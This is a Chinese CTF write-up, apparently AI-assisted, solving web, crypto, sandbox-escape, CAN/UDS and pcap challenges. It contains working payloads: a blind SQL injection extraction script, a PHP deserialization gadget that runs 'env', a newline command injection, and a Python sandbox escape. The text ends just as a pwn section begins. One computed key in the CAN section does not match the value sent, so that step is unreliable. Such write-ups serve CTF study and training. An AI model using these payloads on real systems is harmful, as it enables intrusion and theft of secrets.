Geronimo队奶龙杯wp,ai一把梭

一开始看源码,WAF 拦了 select、union、pg_,pg_select() 又自动转义,但注意到 WAF 没拦反斜杠 \,而且 pg_select() 内部会把值包成 E'...' 格式。
E'...' 是 PostgreSQL 的转义字符串,反斜杠有特殊含义。输入 \' 时:
' 变成 '',但 \ 原样保留 → \'E'\' → PostgreSQL 把 \' 解析为转义单引号,字符串提前结束后面内容就直接变成 SQL 代码了。
这个是正常的

plaincode=\' OR 1=2 -- # url编码恒假

plaincode=\' OR 1=1 -- # url编码恒真

所以成功的
确认有受限文档
\' OR is_public=false --

二分法确定长度
\' OR (is_public=false AND length(share_code)=5 AND length(body)=43) --

上脚本了,这里端口和前面不一样因为前面是写wp特地开的环境
pythonimport requests
import sys
URL = "http://challenge.cyclens.tech:32650/api/lookup.php"
def check(p):
return requests.get(URL, params={"code": p}, timeout=10).json().get("found")
def extract(field, cond):
# 找长度
for i in range(1, 200):
if check(f"\\' OR ({cond} AND length({field})={i}) -- "):
print(f" {field} len={i}")
break
# 二分猜字符
res = ""
for pos in range(1, i+1):
lo, hi = 32, 126
while lo < hi:
mid = (lo+hi)//2
if check(f"\\' OR ({cond} AND ascii(substr({field},{pos},1))>{mid}) -- "):
lo = mid+1
else:
hi = mid
res += chr(lo)
sys.stdout.write(chr(lo)); sys.stdout.flush()
print()
return res
cond = "is_public=false AND length(share_code)=5"
extract("body", cond)
获得flag

这是一道 PHP 反序列化漏洞(Deserialization) 题目
三个类:
SecurityValidator:__wakeup() 检查 mode === 'safe',不是就 dieCommandExecutor:__destruct() 里 system() 执行命令,但要求 mode !== 'safe'Mutator:__wakeup() 把字符串 ref 改成 "hacked"矛盾点:mode 不能是 safe(否则 destruct die),也不能不是 safe(否则 wakeup die)。
解法:引用 + 时序差
Mutator->ref 引用 SecurityValidator->mode。反序列化时 SecurityValidator 先重建,wakeup 检查通过(mode='safe');然后 Mutator 重建,wakeup 通过引用把 mode 改成 "hacked"。最后 destruct 时 mode 已经是 hacked,成功执行命令。
发现php版本为8.0.30

通过脚本生成payload,null byte 丢失:private 属性序列化带 \x00,直接复制粘贴会丢,必须用 URL 编码的 payload,这里其实先去看的根目录显示有/flag,但是wc -c /flag 发现只有 1 字节,od -An -tx1 /flag 确认是 0a,所以是个假的,辗转反侧,去找的环境变量
<?php class SecurityValidator { private $mode = 'safe'; private $data = null; public function &getModeRef() { return $this->mode; } } class CommandExecutor { private $validator; private $command = 'echo "Hello"'; private $enabled = false; } class Mutator { public $ref; } $cmd = 'env'; $sv = new SecurityValidator(); $mutator = new Mutator(); $mutator->ref = &$sv->getModeRef(); $ce = new CommandExecutor(); $ref = new ReflectionClass($ce); $p = $ref->getProperty('validator'); $p->setAccessible(true); $p->setValue($ce, $sv); $p = $ref->getProperty('command'); $p->setAccessible(true); $p->setValue($ce, $cmd); $p = $ref->getProperty('enabled'); $p->setAccessible(true); $p->setValue($ce, true); $payload = serialize([$ce, $mutator]); echo urlencode($payload) . "\n";

一个 PHP 代码审计,目标是让 grantRole 里 $roleId === 1,但前面有一堆过滤。
代码里用了两个变量:
$roleText = trim($rawRole) —— 做所有安全检查$roleId = intval($rawRole) —— 实际传进函数判断也就是说,只要找到一个字符串,trim 后不等于 "1",但 intval 后是 1,就能绕过。
is_numeric("+1") 是 true,intval("+1") 是 1,但 trim("+1") 是 "+1",不等于 "1",完美绕过所有检查。
并且userId 必须 ≥ 114 个字符
if (strlen($userId) < 114) { exit('user id is too short'); }
bashhttp://challenge.cyclens.tech:31866/?userId=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&role=%2B1

flag{fvl8ti6f-lhqt-4bp-8jny-3bhiky8akvvuy}
这题没什么好说的,简单的RCE绕过
gocmd := exec.CommandContext(ctx, "/bin/sh", "-c", fmt.Sprintf("ping -c 1 -W 1 %s", host))
过滤了这些
goif strings.ContainsAny(host, " ;|&$`(){}[]<>\\\"") {
w.Header().Set("Content-Type", "text/html; charset=utf-8")
_ = page.Execute(w, viewData{Output: "blocked: suspicious character detected"})
return
}
所以这里直接使用%0a,%09绕过,找了找,还是喜欢把flag藏在环境变量里面
?host=127.0.0.1%0Aenv

WebSocket 题,Edge 和 Relay 对"route 怎么成为 route"理解不一致。ws://HOST:8001/gateway,relay.v1 协议,压缩流。
先拿 ticket:
bashhttp://target:port/api/bootstrap

然后看源码逻辑,Edge 对 HTTP 握手头要求很死:
X-Relay-Route 必须拆成两个独立 header:public 和 recoverySec-WebSocket-Protocol 第一个必须是 relay.v1Sec-WebSocket-Extensions 必须拆成两个:permessage-deflate 和 client_no_context_takeover标准库会自动合并同名 header,所以必须手写 TCP 握手。
RelayDraft.processFrame() 里:
javaif (frame.getOpcode() == Opcode.TEXT && !frame.isFin()) {
registry.captureOpening(conn, frame.getPayloadData());
}
captureOpening() 只在 FIN=false 的 TEXT 帧才触发。如果你发一个完整的 FIN=true 帧,capability 永远不会被设置,后续全报 workflow denied。
python#!/usr/bin/env python3
import hashlib, json, struct, os, time, requests, socket, base64
HOST = "challenge.cyclens.tech"
PORT = 31420
def build_frame(payload, opcode=0x01, fin=True):
mask = os.urandom(4)
frame = bytearray()
frame.append((0x80 if fin else 0x00) | (opcode & 0x0F))
length = len(payload)
if length <= 125:
frame.append(0x80 | length)
elif length <= 65535:
frame.append(0x80 | 126)
frame.extend(struct.pack(">H", length))
else:
frame.append(0x80 | 127)
frame.extend(struct.pack(">Q", length))
frame.extend(mask)
frame.extend(bytes(payload[i] ^ mask[i % 4] for i in range(len(payload))))
return bytes(frame)
def recv_frame(sock, timeout=5):
sock.settimeout(timeout)
try:
h = sock.recv(2)
if len(h) < 2: return None, None
opcode = h[0] & 0x0F
length = h[1] & 0x7F
if length == 126:
length = struct.unpack(">H", sock.recv(2))[0]
elif length == 127:
length = struct.unpack(">Q", sock.recv(8))[0]
masked = bool(h[1] & 0x80)
if masked:
mask = sock.recv(4)
payload = b""
while len(payload) < length:
payload += sock.recv(length - len(payload))
if masked:
payload = bytes(payload[i] ^ mask[i % 4] for i in range(len(payload)))
return opcode, payload
except:
return None, None
def main():
data = requests.get(f"http://{HOST}:{PORT}/api/bootstrap").json()
ticket, trace = data["ticket"], data["trace"]
print(f"[+] ticket: {ticket[:50]}...")
print(f"[+] trace: {trace}")
sock = socket.create_connection((HOST, PORT), timeout=10)
ws_key = base64.b64encode(os.urandom(16)).decode()
# 注意:X-Relay-Route 和 Extensions 必须拆成两个独立 header
sock.sendall((
f"GET /gateway HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Upgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {ws_key}\r\nSec-WebSocket-Version: 13\r\n"
f"X-Relay-Route: public\r\n"
f"X-Relay-Route: recovery\r\n"
f"Sec-WebSocket-Protocol: relay.v1, operator.v1\r\n"
f"Sec-WebSocket-Extensions: permessage-deflate\r\n"
f"Sec-WebSocket-Extensions: client_no_context_takeover\r\n"
f"\r\n"
).encode())
resp = sock.recv(4096)
assert b"101" in resp, f"Handshake failed: {resp}"
print("[+] WebSocket connected")
# 分片发 opening,FIN=false 触发 captureOpening
opening = json.dumps({"ticket": ticket, "trace": trace,
"phase": "telemetry", "op": "ping"}, separators=(",",":"))
sock.sendall(build_frame(opening.encode(), opcode=0x01, fin=False))
sock.sendall(build_frame(b"", opcode=0x00, fin=True))
print("[+] Sent fragmented opening frame")
time.sleep(0.3)
# PING proof = SHA-256(opening)[:16]
proof = hashlib.sha256(opening.encode()).digest()[:16]
sock.sendall(build_frame(proof, opcode=0x09, fin=True))
print("[+] Sent ping proof")
time.sleep(0.5)
# operator 读 flag
operator = json.dumps({"trace": trace, "phase": "operator",
"op": "readFile", "path": "/tmp/flag"}, separators=(",",":"))
sock.sendall(build_frame(operator.encode(), opcode=0x01, fin=True))
print("[+] Sent operator message")
while True:
opcode, payload = recv_frame(sock, timeout=3)
if opcode is None: break
if opcode == 0x01:
text = payload.decode()
print(f"[+] Response: {text}")
if "flag{" in text:
print(f"\n{'='*50}")
print(f" FLAG: {text}")
print(f"{'='*50}")
break
sock.close()
if __name__ == "__main__":
main()
TEXT+FIN=false 接 CONTINUATION+FIN=truerecoveryArmed/tmp/flag
flag{ceww9rvg-qubn-4de-8asl-6867l9macphp0}
| 本题(新版本) | 旧版本 | |
|---|---|---|
| 正负号检查 | str_contains('+', '-') 显式禁止 | ❌ 没有这行 |
| 数字合法性 | preg_match('/[0-9]/') 只要求包含数字 | is_numeric() 要求整体合法数字 |
本题的解法可以是传 1a:
preg_match('/[0-9]/', '1a') → true(包含数字即可)intval('1a') → 1http://challenge.cyclens.tech:31866/?userId=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&role=1a
获得flag

浏览器打开题目地址
bashhttp://challenge.cyclens.tech:32399/
页面返回:
Dynamic RSA Broadcast Challenge. Request /pub to get (n,c) pairs. Collect 3 and apply Håstad's broadcast attack.
提示信息告诉我们:
访问 /pub 获取 (n, c) 对

收集 3 组
使用 Håstad's broadcast attack(广播攻击)
Håstad 广播攻击的场景是:
同一条明文
m,用相同的公钥指数e,但不同的模数n1, n2, n3进行 RSA 加密,得到:c1 = m^e mod n1 c2 = m^e mod n2 c3 = m^e mod n3当
e = 3时,收集 3 组就可以通过 中国剩余定理 (CRT) 恢复出m^e(因为m^e < n1*n2*n3),然后直接开 e 次方根得到m。
关键前提:m < min(n1, n2, n3),即明文小于最小的模数,保证 m^e 不会被取模"截断"。
请求 /pub 端点 3 次:
bashcurl http://challenge.cyclens.tech:32399/pub curl http://challenge.cyclens.tech:32399/pub curl http://challenge.cyclens.tech:32399/pub
每次返回一个 JSON,包含 n 和 c(十六进制格式):
json{"c": "0xd9cb291...", "n": "0xed32b06..."}
记录下 3 组数据(以我获取的一组为例):
n1 = 0xed32b06851747f15e8115c0400ce317c8b1ed1e8ba07cd0243e89764bed20b05969c01e42cbeec1c004f9fd5c06417add744711ffe06a12b0a4726faaf1877701ae06c12d649b50e26db0fbd486a13b4131e517e95694c56fe1090622f98d335b8ddbd888c8351ea484fdf90590153c4a5d15f2ec04871bbe37872368618a5c7 c1 = 0xd9cb2918c0c15bcc85a179b154c798e0f5d819d82bb6ea1622874be1f6e3af5f06acdbdd1ed3932bc98b0311a3f3f1c0ecc41b4ec9a306480b65024eb53ee9ce55a6e65361fdac673e43446eca0a6dec809484eae3463b17e302379ab0aa85e9444cf51bdc4ccd0d2d2175b939b0761d43e0230ca50f725d2d4d6105d3e9fad8 n2 = 0xe0b5ee712265dcd818dc840f2dd2b1fc6ce4efbf9783cb42ae3f233ea465b11b82081605f6eb1f626b24239dd63a430380f596d73971559fb5b5c431e52f0010a7b9e1cdbedacb839c152b2c365755b3316e2ae9d0d2adb03d6983e17b33d2294c6ed79d47c46ac731225d23c14cc367b8621182c6689de6a854889e7be28981 c2 = 0x96c3b9fe2815db08c7db3cc9c72604b10d0b35d2ea37f55b200df64d0e82154649ec93ec17c9bd47336e2b160373ed60b734e37ff8d3bef8ab81cd5e1b9ce56d68670b8f06650f46d7640d668ac1947f2c2f62c8fdafb9e8f0f857485f1ec1411cd74713db911a6da84919d2b9e29bb72970d6a476439f3de4bd066b72cf68ea n3 = 0xa4f53e192f21e314162c0d621f76d69d43709ca0886e16a9e7736404472b1317c0657719268c0558887c3cd635c75af50193148ed0e7abace83a18028df5aecfeb6b73c8c2a4c9caa2a9a0a2a9c7de2f3dd16e31b3f5fb91f84dc358f8250caea00c244be8e8d4f235cddd2f05fc064d3817d8dd4d0c81cd5a6163cb68e648c1 c3 = 0x300b2de0313334478b1c7f3c83abc1829440f814a6e2769cbc53dcf2ab77b89a6be62c96916043ca1da24563517552a683ff8d999c97a34e2bee3a4ccbc00cd925e9b25a21ce50d56573c09eb101cb119b5176e2544a56931643033c8480ce8d5ba3f89a34fa8c235fd9ffe7cf07972c57451b5e66c94bb19672c98cd01b2289
注意:该题是动态的,每次访问
/pub得到的值不同,但解题方法一样。
创建 solve.py:
pythonimport gmpy2
from gmpy2 import mpz
import json
import urllib.request
import sys
# ===== 1. 自动获取 3 组 (n, c) =====
pairs = []
for i in range(3):
resp = urllib.request.urlopen("http://challenge.cyclens.tech:32399/pub")
data = json.loads(resp.read())
n = mpz(data['n'], 16)
c = mpz(data['c'], 16)
pairs.append((n, c))
print(f"[*] Pair {i+1}: n = {hex(n)[:40]}..., c = {hex(c)[:40]}...")
n1, c1 = pairs[0]
n2, c2 = pairs[1]
n3, c3 = pairs[2]
# ===== 2. 用中国剩余定理 (CRT) 恢复 m^e =====
# CRT 求解方程组:
# x ≡ c1 (mod n1)
# x ≡ c2 (mod n2)
# x ≡ c3 (mod n3)
N = n1 * n2 * n3
N1, N2, N3 = N // n1, N // n2, N // n3
y1 = gmpy2.invert(N1, n1)
y2 = gmpy2.invert(N2, n2)
y3 = gmpy2.invert(N3, n3)
m_e = (c1 * N1 * y1 + c2 * N2 * y2 + c3 * N3 * y3) % N
# 验证 CRT 结果
assert m_e % n1 == c1, "CRT verification failed for n1"
assert m_e % n2 == c2, "CRT verification failed for n2"
assert m_e % n3 == c3, "CRT verification failed for n3"
print("[+] CRT 验证通过")
# ===== 3. 开 e 次方根 =====
# 题目提示 e=3,但也可能是其他值,尝试常见 e
for e in range(2, 20):
m, exact = gmpy2.iroot(m_e, e)
if exact:
print(f"[+] 找到精确的第 {e} 次方根!e = {e}")
m = int(m)
m_bytes = m.to_bytes((m.bit_length() + 7) // 8, 'big')
print(f"[+] Flag: {m_bytes.decode()}")
sys.exit(0)
print("[-] 未找到精确的整数次方根")
flag{we69n3lv-be85-4hd-824w-3ijcsqticm8np}
脚本实现了一个基于 secp256k1 椭圆曲线的签名和加密系统:
d输出文件 output.txt 包含:加密后的 flag、三条消息及其签名 (r, s)。
核心问题在 task.py:74-75:
pythonfor index, message in enumerate(messages):
nonce = (first_nonce + index * increment) % N
三个 nonce 构成等差数列:
k_0 = first_nonce k_1 = first_nonce + increment k_2 = first_nonce + 2 * increment
满足 k_2 - k_1 = k_1 - k_0,即 2·k_1 = k_0 + k_2 (mod N)。
对每条消息,签名过程为:
z_i = SHA256(message_i) // 消息哈希 r_i = (k_i · G).x mod N // nonce 的椭圆曲线点 x 坐标 s_i = k_i^(-1) · (z_i + r_i · d) mod N
其中 d 是私钥,k_i 是 nonce。
从签名公式可以反解出 nonce:
k_i = s_i^(-1) · (z_i + r_i · d) mod N
因为 2·k_1 = k_0 + k_2 (mod N),代入:
2 · s_1^(-1) · (z_1 + r_1 · d) = s_0^(-1) · (z_0 + r_0 · d) + s_2^(-1) · (z_2 + r_2 · d) (mod N)
展开整理,把含 d 的项移到左边:
d · (2·r_1·s_1^(-1) - r_0·s_0^(-1) - r_2·s_2^(-1)) = z_0·s_0^(-1) + z_2·s_2^(-1) - 2·z_1·s_1^(-1) (mod N)
因此:
d = (z_0·s_0^(-1) + z_2·s_2^(-1) - 2·z_1·s_1^(-1)) · (2·r_1·s_1^(-1) - r_0·s_0^(-1) - r_2·s_2^(-1))^(-1) mod N
从 output.txt 中取出所有数值:
encrypted_flag = c448e99541a8336401c846816105c19be3870e48c80385a22e2d29cd886e7472977e930cde2399b2d5fb message_1 = The formula was changed at 08:00. r_1 = 65049822350966932011298934114289904515865496782440722029795500440883520338534 s_1 = 100608169770347717972106429028463000806487293192131952709224642465583570516580 message_2 = Do not reuse the old starter culture. r_2 = 92756252265060314461255136684718836924443796463608387067614503909037430857587 s_2 = 89196366574574457770176156726838488317517463979668061585678672599486198457015 message_3 = The next batch needs exactly three signatures. r_3 = 31948759506074605924676711292860385681345545545112383536856476730642567952767 s_3 = 102790519568478717091382156526601044304877460541578979733346906916332777610816
pythonimport hashlib
messages = [
b"The formula was changed at 08:00.",
b"Do not reuse the old starter culture.",
b"The next batch needs exactly three signatures.",
]
z = [int.from_bytes(hashlib.sha256(m).digest(), "big") for m in messages]
pythonN = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
inv_s0 = pow(s_1, -1, N)
inv_s1 = pow(s_2, -1, N)
inv_s2 = pow(s_3, -1, N)
coeff_d = (2 * r_2 * inv_s1 - r_1 * inv_s0 - r_3 * inv_s2) % N
const_term = (z[0] * inv_s0 + z[2] * inv_s2 - 2 * z[1] * inv_s1) % N
d = const_term * pow(coeff_d, -1, N) % N
print(f"私钥 d = {d}")
用恢复的私钥重新计算第一个签名,检查 r 是否匹配:
pythonP = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
G = (
0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798,
0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8,
)
def point_add(left, right):
if left is None: return right
if right is None: return left
x1, y1 = left
x2, y2 = right
if x1 == x2 and (y1 + y2) % P == 0: return None
if left == right:
slope = (3 * x1 * x1) * pow(2 * y1, -1, P) % P
else:
slope = (y2 - y1) * pow(x2 - x1, -1, P) % P
x3 = (slope * slope - x1 - x2) % P
return x3, (slope * (x1 - x3) - y1) % P
def scalar_mult(scalar, point):
result = None
while scalar:
if scalar & 1:
result = point_add(result, point)
point = point_add(point, point)
scalar >>= 1
return result
# 用私钥反推第一个 nonce
k0 = ((z[0] + r_1 * d) * inv_s0) % N
r0_check = scalar_mult(k0, G)[0] % N
assert r0_check == r_1, "私钥恢复失败"
print("私钥验证通过 ✓")
pythondef crypt(data, private_key):
seed = hashlib.sha256(private_key.to_bytes(32, "big")).digest()
result = bytearray()
counter = 0
while len(result) < len(data):
result.extend(hashlib.sha256(seed + counter.to_bytes(4, "big")).digest())
counter += 1
return bytes(left ^ right for left, right in zip(data, result))
encrypted_flag = bytes.fromhex("c448e99541a8336401c846816105c19be3870e48c80385a22e2d29cd886e7472977e930cde2399b2d5fb")
flag = crypt(encrypted_flag, d)
print(f"Flag: {flag.decode()}")
将以上所有步骤合并为一个脚本即可直接运行,输出:
私钥 d = 105550276366361429612911318162415698546308980706867766284800132918932356080022 私钥验证通过 ✓ Flag: flag{3f7f4ca9-5c20-4ac9-ae16-4a6f83d318ef}
连接服务后看到是一个Python沙箱,核心逻辑:
python# 闭包中藏着真正的flag
def make_box():
alpha = "not_the_right_cell"
omega = _river.environ.get("FLAG", "flag{local_test_flag}") # ← 真flag
zulu = "flag{another_fake_flag_in_a_cell}"
class Box:
def ping(self):
return (len(alpha) ^ len(omega) ^ len(zulu)) & 7
return Box()
box = make_box()
del make_box # 删掉函数引用
del _river # 删掉os模块
用户输入经过三重检查后 eval:
pythoncheck_raw(expr) # 检查原始字符串是否含禁词(BANLIST)
check_ast(expr) # AST白名单:只允许 render() 调用、常量、BinOp(Add/Mult)
result = eval(expr, {"__builtins__": {}}, {"render": render})
render 函数使用 template.format(box=box), 可以通过格式化字符串访问 box 的属性。
输出还有审计:
pythondef audit_output(s):
if "flag{" in s.lower():
return "[audit] sensitive output blocked" # 拦截flag
服务是 TCP socket,不是 HTTP。用 socket 连接:
pythonimport socket
s = socket.socket()
s.connect(('challenge.cyclens.tech', 31778))
s.recv(4096) # 接收 banner
s.sendall(b'render("hello")\n')
print(s.recv(4096)) # 输出: hello
用 \xNN 编码绕过 BANLIST
BANLIST 禁了 __, class, globals, closure, cell, contents 等词。
check_raw检查的是原始输入字符串,而ast.parse会把字符串字面量中的\xNN` 转义解释成对应字符。
所以发送 \x5f\x5f(4个原始字符),check_raw 看不到 __,但 ast.parse 解析后变成 __。
python# 发送这个原始字符串:
render("{box.\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f}")
# check_raw 看到的是 \x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f → 没有 __ 和 class
# ast.parse 解析后变成: render("{box.__class__}")
# 于是成功访问 box.__class__ → <class '__main__.make_box.<locals>.Box'>
AST检查限制每个字符串常量 ≤ 42字符,但允许 BinOp(Add)(字符串拼接):
pythonrender("part1" + "part2") # 每段 ≤ 42,合并后可达84
模板总长度限制是72字符,所以两段拼接足够。
定位闭包中的flag
box.__class__ → Box类Box.ping 是普通函数(不是bound method),可以直接访问 __closure__Box.ping.__closure__ → 3个cell,分别对应 alpha, omega, zuluBox.ping.__freevars__ → ('alpha', 'omega', 'zulu') 确认 index=1 是 omega(flag)访问路径:box.__class__.ping.__closure__[1].cell_contents
逐字符提取绕过 audit_output
audit_output 拦截含 flag{ 的输出。但 format 支持索引:
python"{var[0]}".format(var="flag{xxx}") # → "f"
单个字符不含 flag{,所以逐字符提取可以绕过:
python# 模板: {box.__class__.ping.__closure__[1].cell_contents[I]}
# 拆成两段避免超长:
render("{box.__class__.pin" + "g.__closure__[1].cell_contents[0]}") # → "f"
render("{box.__class__.pin" + "g.__closure__[1].cell_contents[1]}") # → "l"
# ...直到 IndexError
pythonimport socket
def send_expr(expr):
s = socket.socket()
s.connect(('challenge.cyclens.tech', 31778))
s.recv(4096)
s.sendall((expr + '\n').encode())
data = s.recv(4096)
s.close()
return data.decode().strip()
flag = ""
for i in range(100):
idx = str(i)
p = (r'render("{box.\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f.pin"'
r' + "g.\x5f\x5f\x63\x6c\x6f\x73\x75\x72\x65\x5f\x5f[1].'
r'\x63\x65\x6c\x6c_\x63ontents[' + idx + r']}")')
ch = send_expr(p)
if "Nope" in ch:
break
flag += ch
print(f"Flag: {flag}")

flag{dh7eutpr-35ku-4jj-8ktz-m0fvcg8wxhwfc}
Nailoong Bike test firmware note Protocol: CAN over TCP Request ID: 0x600 Response ID: 0x608 Useful services: 22 F1A0 -> nonce 27 01 -> seed 27 02 -> key 31 01 4242 -> flag routine The test build keeps the key schedule in plain C for workshop debugging.
这是一份固件调试文档,告诉我们:
0x600,响应CAN ID是 0x60822 F1A0 — 读取nonce(随机数)27 01 — 请求seed(种子)27 02 — 发送key(密钥)31 01 4242 — 触发flag例程c#include <stdint.h>
static uint32_t rol32(uint32_t value, unsigned bits) {
bits &= 31U;
return (value << bits) | (value >> (32U - bits));
}
uint32_t bike_mix32(uint32_t value) {
value ^= 0x6e61696c;
value = rol32(value, 5);
value += 0x1f123bb5;
return value;
}
/*
workshop key:
key = bike_mix32(seed ^ nonce)
*/
这是密钥计算算法
0x6e61696c(ASCII: "nail")0x1f123bb5用 netcat 或 telnet 连接:
bashnc challenge.cyclens.tech 30288
服务器会返回一行提示:
BIKE CAN ready. use lines like 600#0322F1A0
说明文本协议格式是:CANID#十六进制数据,每行一条CAN帧。
发送:
600#0322F1A0
解释:
600 = 请求CAN ID03 = ISO-TP单帧,数据长度3字节22 F1A0 = UDS ReadDataByIdentifier 服务,读取 DID F1A0(nonce)服务器返回:
608#0762F1A013572468
解析:
608 = 响应CAN ID07 = 数据长度7字节62 = 22的正响应(22 + 0x40)F1A0 = DID13572468 = nonce = 0x13572468发送:
600#022701
解释:27 01 = SecurityAccess服务,子功能01(请求种子)
服务器返回:
608#066701A2942468
解析:
67 = 27的正响应01 = 子功能A2942468 = seed = 0xA2942468pythonseed = 0xA2942468
nonce = 0x13572468
# 1. 异或
tmp = seed ^ nonce # = 0xB1C30000
# 2. XOR 0x6e61696c
tmp ^= 0x6e61696c # = 0xDFA2696C
# 3. 循环左移5位
tmp = rol32(tmp, 5) # = 0xF44D2D39
# 4. 加 0x1f123bb5
tmp = (tmp + 0x1f123bb5) & 0xFFFFFFFF # = 0x135F694E
key = 0x135F694E
600#062702135f6950
解释:
06 = 数据长度6字节27 02 = SecurityAccess,子功能02(发送密钥)135f6950 = 计算出的key服务器返回:
608#026702
67 02 = 正响应,认证通过
发送:
600#0431014242
解释:31 01 4242 = RoutineControl服务,启动例程 0x4242
服务器返回一个 ISO-TP 多帧:
608#102E71014242666C
这是第一帧(First Frame):
10 2E = 第一帧标识 + 总数据长度 0x2E = 46字节71 01 42 42 66 6C = 前6字节数据(71 = 31的正响应,4242 = 例程ID,666C = flag开头 "fl")ISO-TP 多帧需要接收方发送 流控帧(Flow Control) 告诉发送方继续:
600#300000
解释:
30 = 流控帧,FS=0(继续发送)00 = 无块大小限制00 = 无帧间延时服务器随后连续发送6个 连续帧(Consecutive Frame):
608#2161677B75667237 608#22617966762D6230 608#2376352D346F7A2D 608#24386673732D6767 608#256E306965706839 608#26727A67757D
每帧第一字节是序号(21, 22, 23...),去掉后拼接全部数据:
71 01 42 42 66 6C 61 67 7B 75 66 72 37 61 79 66 76 2D 62 30 76 35 2D 34 6F 7A 2D 38 66 73 73 2D 67 67 6E 30 69 65 70 68 39 72 7A 67 75 7D
去掉前4字节 UDS 头(71 01 42 42),剩下的转 ASCII:
66 6C 61 67 7B 75 66 72 37 61 79 66 76 2D 62 30 76 35 2D 34 6F 7A 2D 38 66 73 73 2D 67 67 6E 30 69 65 70 68 39 72 7A 67 75 7D
pythonimport socket, time
def rol32(value, bits):
bits &= 31
return ((value << bits) | (value >> (32 - bits))) & 0xFFFFFFFF
def bike_mix32(value):
value ^= 0x6e61696c
value = rol32(value, 5)
value += 0x1f123bb5
return value & 0xFFFFFFFF
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('challenge.cyclens.tech', 30288))
s.recv(1024) # banner: BIKE CAN ready...
def tx(cmd):
s.send((cmd + '\n').encode())
def rx():
time.sleep(0.3)
return s.recv(4096).decode().strip()
# 1. 获取 nonce
tx('600#0322F1A0')
resp = rx()
nonce = int(resp.split('#')[1][8:16], 16)
print(f'[1] Nonce: 0x{nonce:08x}')
# 2. 获取 seed
tx('600#022701')
resp = rx()
seed = int(resp.split('#')[1][6:14], 16)
print(f'[2] Seed: 0x{seed:08x}')
# 3. 计算 key = bike_mix32(seed ^ nonce)
key = bike_mix32(seed ^ nonce)
print(f'[3] Key: 0x{key:08x}')
# 4. 发送 key 认证
tx(f'600#062702{key:08x}')
resp = rx()
print(f'[4] Auth: {resp}')
# 5. 请求 flag(触发例程 0x4242)
tx('600#0431014242')
resp = rx()
print(f'[5] First frame: {resp}')
# 解析 ISO-TP 首帧: 10XX... -> 总长度 XX (低12位)
ff_hex = resp.split('#')[1]
total_len = ((int(ff_hex[0:2], 16) & 0x0F) << 8) | int(ff_hex[2:4], 16)
flag_data = ff_hex[4:] # 去掉首帧 PCI (10XX)
print(f' UDS total length: {total_len}, first chunk: {flag_data}')
# 6. 发送流控帧,接收连续帧
tx('600#300000')
time.sleep(0.5)
buf = s.recv(4096).decode()
for line in buf.strip().split('\n'):
line = line.strip()
if '#' in line:
cf_hex = line.split('#')[1]
if cf_hex[0] == '2': # 连续帧以 2X 开头
flag_data += cf_hex[2:]
# 7. 拼接并解析 flag
# UDS 响应: 71 01 4242 <flag> (前4字节是头)
flag_bytes = bytes.fromhex(flag_data)
flag = flag_bytes[4:].decode()
print(f'[7] Flag: {flag}')
s.close()

flag{ufr7ayfv-b0v5-4oz-8fss-ggn0ieph9rzgu}
在 Wireshark 过滤器中输入:
http
可以看到以下 HTTP 请求:

| 请求 | 响应内容 |
|---|---|
GET /index.html | "Welcome to Cafe Free WiFi portal. Nothing interesting here." |
GET /assets/app.js | console.log('analytics enabled') |
GET /debug/status | 包含 XOR 密钥 |
GET /logout | 登出页面 |
重点:/debug/status 的响应内容:

iniok=true
mode=diagnostic
note=temporary dns diagnostic enabled
xorkey=latte
这里泄露了两个关键信息:
latte在 Wireshark 过滤器中输入:
dns.qry.name contains "img-cache"
或者更通用地查看所有 DNS 查询:
dns
可以看到 4 条可疑的 DNS 查询请求:

00-550246125208591559.img-cache.cdn-sync 01-560e57455951095844.img-cache.cdn-sync 02-590458531059035c04.img-cache.cdn-sync 03-45470655034315535a.img-cache.cdn-sync
这些域名的结构为:序号-十六进制数据.img-cache.cdn-sync
使用 tshark 命令行导出
bashtshark -r attachment.pcap -Y "dns.qry.name contains \"img-cache\"" -T fields -e dns.qry.name

输出:
00-550246125208591559.img-cache.cdn-sync 01-560e57455951095844.img-cache.cdn-sync 02-590458531059035c04.img-cache.cdn-sync 03-45470655034315535a.img-cache.cdn-sync
去掉序号前缀和域名后缀,提取纯十六进制数据并按序号拼接:
序号 00: 550246125208591559 序号 01: 560e57455951095844 序号 02: 590458531059035c04 序号 03: 45470655034315535a 拼接后: 550246125208591559560e57455951095844590458531059035c0445470655034315535a
密钥为 latte(来自 /debug/status 响应),循环对拼接后的数据进行 XOR 解密。
Python 解密脚本:
pythonkey = b"latte"
encrypted_hex = "550246125208591559560e57455951095844590458531059035c0445470655034315535a"
data = bytes.fromhex(encrypted_hex)
# 使用密钥循环 XOR
decrypted = bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])
# 解密结果已经是 ASCII 文本(UUID 格式),直接解码即可
print(f"flag{{{decrypted.decode('ascii')}}}")

输出:
flag{9c2f7d8a-3b61-4e90-a42d-f0e13c9b7a66}
向公众号“黄豆安全实验室”发送MilkDragonCTF2026M1sc
bash$ file chal chal: ELF 64-bit LSB shared object, x86-64, dynamically linked, not stripped $ checksec chal RELRO: Partial RELRO Stack: No canary NX: NX enabled PIE: PIE enabled
反汇编 main 函数,核心逻辑如下:
